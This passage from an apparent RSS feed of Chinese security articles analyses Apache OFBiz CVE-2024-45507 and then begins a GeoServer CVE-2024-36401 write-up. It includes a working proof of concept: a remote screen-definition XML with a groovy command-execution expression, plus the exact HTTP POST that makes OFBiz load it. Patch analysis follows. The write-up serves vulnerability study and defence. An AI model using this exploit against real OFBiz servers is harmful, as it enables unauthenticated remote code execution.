12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="384" data-backw="578" data-imgfileid="100005138" data-ratio="0.664" style="width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=9aab30e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFBxe87NeicyZzJrAIrxhzrpT0XOHRt2XW7nHSTG1lXiaEmoAwoBOjCqNw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">最后就是调用 dataFile.writeDataFile(dataFileSave)，将 DataFile 对象中保存的数据文件内容写入到指定的文件中。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="299" data-backw="578" data-imgfileid="100005139" data-ratio="0.5177142857142857" style="width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=5bc34d04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFESy6Ja4xDSDndo4ZKiav2UwED9mpIddNicpxuH95WcyicjVteKficmc6YA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">当从前端访问该 jsp 文件时，就会解析内容，实现命令执行。</span>    <o:page></o:page></p><h2><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">3. CVE-2024-45507</span>
  </h2><h3><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">3-1. 前言</strong>
  </h3><section style="margin-bottom: 8px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">官方公告：</span></strong></section><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"><a href="https://issues.apache.org/jira/browse/OFBIZ-13132" target="_blank">https://issues.apache.org/jira/browse/OFBIZ-13132</a></span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"><a href="https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy" target="_blank">https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy</a></span></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">漏洞描述：</span></strong></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">由于Apache OFBiz在从 Groovy 加载文件时对 URL 的验证不足，导致远程攻击者可以通过服务器端请求伪造的方式向任意系统发起请求，并可能导致远程代码执行，成功利用此漏洞可能允许攻击者完全控制受影响的系统，包括访问敏感数据、执行任意命令或进行进一步的网络攻击。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">影响版本：</span></strong></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">Apache OFBiz &lt; 18.12.16</span></p><h3><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">3-2. 漏洞复现</strong></h3><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">写一个屏幕定义文件 ssrfpoc.xml，value 设为一段 groovy 表达式来执行命令:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">screens</span> <span class="code-snippet__attr">xmlns:xsi</span>=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span></span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">xmlns</span>=<span class="code-snippet__string">&#34;<a href="http://ofbiz.apache.org/Widget-Screen" target="_blank">http://ofbiz.apache.org/Widget-Screen</a>&#34;</span> <span class="code-snippet__attr">xsi:schemaLocation</span>=<span class="code-snippet__string">&#34;<a href="http://ofbiz.apache.org/Widget-Screen" target="_blank">http://ofbiz.apache.org/Widget-Screen</a> <a href="http://ofbiz.apache.org/dtds/widget-screen.xsd" target="_blank">http://ofbiz.apache.org/dtds/widget-screen.xsd</a>&#34;</span>&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">screen</span> <span class="code-snippet__attr">name</span>=<span class="code-snippet__string">&#34;StatsDecorator&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">section</span>&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">actions</span>&gt;</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__tag">&lt;<span class="code-snippet__name">set</span> <span class="code-snippet__attr">field</span>=<span class="code-snippet__string">&#34;headerItem&#34;</span> <span class="code-snippet__attr">value</span>=<span class="code-snippet__string">&#34;${groovy:throw new Exception(&#39;cmd /c start calc&#39;.execute().text);}&#34;</span>/&gt;</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__tag">&lt;<span class="code-snippet__name">entity-one</span> <span class="code-snippet__attr">entity-name</span>=<span class="code-snippet__string">&#34;FinAccount&#34;</span> <span class="code-snippet__attr">value-field</span>=<span class="code-snippet__string">&#34;finAccount&#34;</span>/&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">actions</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">section</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">screen</span>&gt;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">screens</span>&gt;</span></span></code></pre></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">向</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/webtools/control/forgotPassword/StatsSinceStart</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">传递定义文件。</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer">POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1</span></code><code><span class="code-snippet_outer">Host: 127.0.0.1:8443</span></code><code><span class="code-snippet_outer">Cookie: OFBiz.Visitor=10100</span></code><code><span class="code-snippet_outer">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0</span></code><code><span class="code-snippet_outer">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8</span></code><code><span class="code-snippet_outer">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span></code><code><span class="code-snippet_outer">Accept-Encoding: gzip, deflate, br</span></code><code><span class="code-snippet_outer">Upgrade-Insecure-Requests: 1</span></code><code><span class="code-snippet_outer">Sec-Fetch-Dest: document</span></code><code><span class="code-snippet_outer">Sec-Fetch-Mode: navigate</span></code><code><span class="code-snippet_outer">Sec-Fetch-Site: none</span></code><code><span class="code-snippet_outer">Sec-Fetch-User: ?1</span></code><code><span class="code-snippet_outer">Priority: u=0, i</span></code><code><span class="code-snippet_outer">Te: trailers</span></code><code><span class="code-snippet_outer">Connection: keep-alive</span></code><code><span class="code-snippet_outer">Content-Type: application/x-www-form-urlencoded</span></code><code><span class="code-snippet_outer">Content-Length: 56</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">statsDecoratorLocation=<a href="http://127.0.0.1:8888/ssrfpoc.xml" target="_blank">http://127.0.0.1:8888/ssrfpoc.xml</a></span></code></pre></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">执行命令。</span><br/></section><p><span style="font-family: 宋体;font-size: var(--articleFontsize);letter-spacing: 0.034em;"><img class="rich_pages wxw-img" data-backh="268" data-backw="578" data-imgfileid="100005140" data-ratio="0.464" style="width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=40c0af33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFh2VNniaxD2l3EuRS0HxWuJZY1X8WNn6Y9a0hnKjItFJs313UbJyGnqg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><h3><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">3-3. 漏洞分析</strong>
  </h3><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">在 controller.xml 中定义了路由 </span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/StatsSinceStart</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">security.auth</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"> 为  true，直接访问需要权限。视图指向</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">component://webtools/widget/StatsScreens.xml#StatsSinceStart</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">，会调用 StatsSinceStart.groovy 脚本，但是这里没有可利用的点。</span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">在 StatsSinceStart.xml 的 </span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;widgets&gt;</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"> </span><widgets></widgets><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">标签下名为 </span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">StatsDecorator</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"> 装饰器屏幕的定义中，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">${parameters.statsDecoratorLocation}</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"> 是前端可控的，允许从远程加载屏幕定义文件。</span></section><section style="text-align: left;margin-bottom: 8px;"><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: 宋体;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"><img class="rich_pages wxw-img" data-backh="357" data-backw="578" data-imgfileid="100005141" data-ratio="0.6182857142857143" style="width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=8b52e108&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFOia4m2WHbsS7AyulpfWGJZeVkicUVoe2kYXVhrQ6g2l2iaia5cjQamAxKQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">读取 StatsScreens.xml 文件，逐层解析标签到 StatsDecorator 装饰器，从前端 statsDecoratorLocation 参数获取到远程 StatsDecorator 定义文件的地址。</span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="397" data-backw="578" data-imgfileid="100005142" data-ratio="0.6868571428571428" style="width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=be5c54c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFpoajzEA7EQNGPUZMoS5ibWdNfVpu8W0sQsRaawSlSyMAk8py9duqsQw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></section><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">从远程地址获取到名为 StatsDecorator 的屏幕定义内容。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="305" data-backw="578" data-imgfileid="100005143" data-ratio="0.528" style="width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=97c77197&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFmhDjwg9260Xa4k1pYGibEWMQyWJI3ibbNd6rq7tRcXcTGSbVomTNHxDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">也是逐层解析标签，然后执行并解析</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">this.valueExdr</span><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">表达式。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: 宋体;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="327" data-backw="578" data-imgfileid="100005144" data-ratio="0.5657142857142857" style="width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=9d6683f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFZs4Vwbk4E7YsdEyibfBuM6spUdSetXLWib7qCoUduYof6B35xZic7EGQw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">跟进创建 <span style="font-family: Cambria;font-size: 18px;letter-spacing: 0.578px;text-align: left;">groo</span><span style="font-family: Cambria;font-size: 18px;letter-spacing: 0.578px;text-align: left;">v</span><span style="font-family: Cambria;font-size: 18px;letter-spacing: 0.578px;text-align: left;">y</span> 脚本实例，绑定了上下文数据。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: 宋体;font-size: 12pt;text-indent: 0pt;letter-spacing: 0.034em;"><img class="rich_pages wxw-img" data-backh="174" data-backw="578" data-imgfileid="100005145" data-ratio="0.30057142857142854" style="width: 100%;height: auto;" data-type="png" data-w="875" src="https://wechat2rss.xlab.app/img-proxy/?k=45bcbcf8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFBUsribw8SZt0mUO6GApOb0yc0G74KUq1rcfFzBlcq5xU1XRBzht7ibQA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">run() 执行该脚本，调用 ProcessGroovyMethods.execute() 执行系统命令。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;宋体&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-imgfileid="100005146" data-ratio="0.4742857142857143" data-w="875" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=639bb54d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFyicZsOjYbTCib8rPGvgTvm5Is3LLG6ZulcgVOkMLIic3MCmPyVIdqbzOA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><h2><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">4. 补丁分析</span>
  </h2><section style="margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">18.12.16 版本，在进行视图解析的 RequestHandler.renderView() 中，添加了一段对当前要访问的视图进行权限检查的代码。</span></section><section style="margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;">当满足 viewMap.securityAuth 为true，且当前为未登录状态时，就会进入if分支，进行登录校验，登录失败则抛出异常，停止视图解析。</span></section><section style="margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><img class="rich_pages wxw-img" data-backh="197" data-backw="560" data-imgfileid="100005113" data-ratio="0.35251798561151076" style="width: 100%;height: auto;" data-type="png" data-w="973" src="https://wechat2rss.xlab.app/img-proxy/?k=db62d342&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OXibkW66BxTCXic1ppC2YfSFGatgkMbE9bHh7VV59XLnXDicS6nLVw8icgSDZO1KvTb5U3flMHsDQwug%2F640%3Fwx_fmt%3Dpng"/></span></section><p><br/></p><p style="margin-top: 9pt;margin-bottom: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">参考链接：</span></strong></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"><a href="https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/" target="_blank">https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/</a></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"><a href="https://forum.butian.net/article/586" target="_blank">https://forum.butian.net/article/586</a></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;margin-bottom: 8px;"><span style="font-variant: normal;text-transform: none;font-family: Cambria;font-size: 18px;"><a href="https://xz.aliyun.com/t/15569" target="_blank">https://xz.aliyun.com/t/15569</a></span></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488799">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d957fe0f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488799%26idx%3D1%26sn%3D3fcedfd76ad5aa653ae31e9acc7ceacc%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 13 Nov 2024 17:31:00 +0800</pubDate>
    </item>
    <item>
      <title>GeoServer 远程代码执行漏洞分析 (CVE-2024-36401)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488746&amp;idx=1&amp;sn=3634dd7face9fa8b51e68605157ade44</link>
      <description>由于不安全地将属性名称评估为 XPath 表达式，多个 OGC 请求参数允许未经身份验证的用户通过针对默认 GeoServer 安装的特制输入进行远程代码执行 (RCE)。</description>
      <content:encoded><![CDATA[<p>
<span>元亨-blckder02</span> <span>2024-07-12 18:34</span> <span style="display: inline-block;">浙江</span>
</p>

<p>由于不安全地将属性名称评估为 XPath 表达式，多个 OGC 请求参数允许未经身份验证的用户通过针对默认 GeoServer 安装的特制输入进行远程代码执行 (RCE)。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=4efc2e24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57PDgz8BFiciaEWwcQhkcZ1MVoEVmhbsLMWFibPkg7ju7UndLW2kf990UetbfuKIZQ6PjkibicX4EmrjKnQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">一、前言</span></p><p style="margin-bottom: 8px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">官方公告：</span></strong><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">   <br/></span></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"><a href="https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv" target="_blank">https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv</a></span></p><p style="margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"><a href="https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w" target="_blank">https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w</a><br/></span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">漏洞描述：</span></strong><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">            <br/></span></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 16px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">由于不安全地将属性名称评估为 XPath 表达式，多个 OGC 请求参数允许未经身份验证的用户通过针对默认 GeoServer 安装的特制输入进行远程代码执行 (RCE)。            <br/>GeoServer 调用的 GeoTools 库 API 会以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库，该库在评估 XPath 表达式时可以执行任意代码。此 XPath 评估仅供复杂要素类型（即应用程序架构数据存储）使用，但也被错误地应用于简单要素类型，这使得此漏洞适用于所有GeoServer 实例。</span></span></section><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 